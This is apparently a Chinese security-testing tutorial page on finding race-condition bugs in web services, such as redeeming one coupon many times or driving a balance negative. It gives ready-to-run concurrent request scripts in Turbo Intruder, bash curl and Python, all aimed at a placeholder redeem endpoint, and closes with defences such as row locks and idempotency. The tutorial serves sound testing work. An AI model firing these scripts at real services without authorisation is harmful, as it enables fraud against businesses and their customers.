并发漏洞挖掘¶
并发漏洞(Race Condition)指的是多个请求同时到达服务端时,由于缺少锁或事务控制,导致同一个操作被重复执行。常见场景:一张优惠券领多次、一次余额扣款扣了负数、一个邀请码注册了多个账号。
核心原理¶
正常流程(串行):
并发攻击时(两个请求几乎同时到达):
关键在于:两个请求在"查"和"扣"之间存在时间窗口,这个窗口就是竞争条件。
常见漏洞场景¶
| 场景 | 正常行为 | 并发后果 |
|---|---|---|
| 优惠券领取 | 每人限领 1 张 | 同一用户领到多张 |
| 余额支付 | 扣到 0 停止 | 余额变为负数 |
| 积分兑换 | 一份积分换一个奖品 | 同份积分换了多个奖品 |
| 投票/点赞 | 每人限一次 | 一个人投了多票 |
| 邀请码注册 | 一码一人 | 一个码注册了多个账号 |
| 文件上传 | 上传后校验再删除 | 校验删除前已被访问执行 |
测试方法¶
Burp Suite — Turbo Intruder¶
Turbo Intruder 是专门做并发测试的 Burp 插件,比 Intruder 快得多。
安装:Burp → Extender → BApp Store → 搜索 Turbo Intruder → Install
使用步骤:
- 在 Burp 中找到目标请求,右键 → Send to Turbo Intruder
- 选择
race.py模板(或用下面的脚本) - 点击 Attack
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=100,
pipeline=False)
# 同时发送 20 个相同请求
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # 所有请求同时放出
def handleResponse(req, interesting):
table.add(req)
关键参数:
| 参数 | 说明 |
|---|---|
concurrentConnections | 并发连接数,越大并发越猛 |
gate | 把请求攒到一起,openGate 时同时放出 |
pipeline | HTTP 管道化,同一连接发多个请求 |
插件地址:https://github.com/portswigger/turbo-intruder
curl + 脚本¶
没有 Burp 时可以用 bash 并发:
# 同时发 20 个请求
for i in $(seq 1 20); do
curl -s -X POST https://target.com/api/redeem \
-H "Cookie: session=xxx" \
-d "coupon_id=123" &
done
wait
Python 多线程¶
import threading
import requests
def send_request():
r = requests.post("https://target.com/api/redeem",
cookies={"session": "xxx"},
data={"coupon_id": "123"})
print(r.status_code, r.text[:100])
threads = [threading.Thread(target=send_request) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()
判断是否存在漏洞¶
发完并发请求后,检查以下内容:
- 优惠券数量是否超过限制
- 余额是否变为负数
- 数据库中是否出现重复记录
- 响应中是否有多个"成功"返回
防御方案¶
| 方案 | 说明 |
|---|---|
| 数据库锁 | SELECT ... FOR UPDATE 行级锁 |
| 唯一约束 | 数据库层面防止重复记录 |
| 分布式锁 | Redis SETNX 或 ZooKeeper |
| 幂等设计 | 同一请求多次执行结果一致 |
| 令牌机制 | 一次性 Token,用完即废 |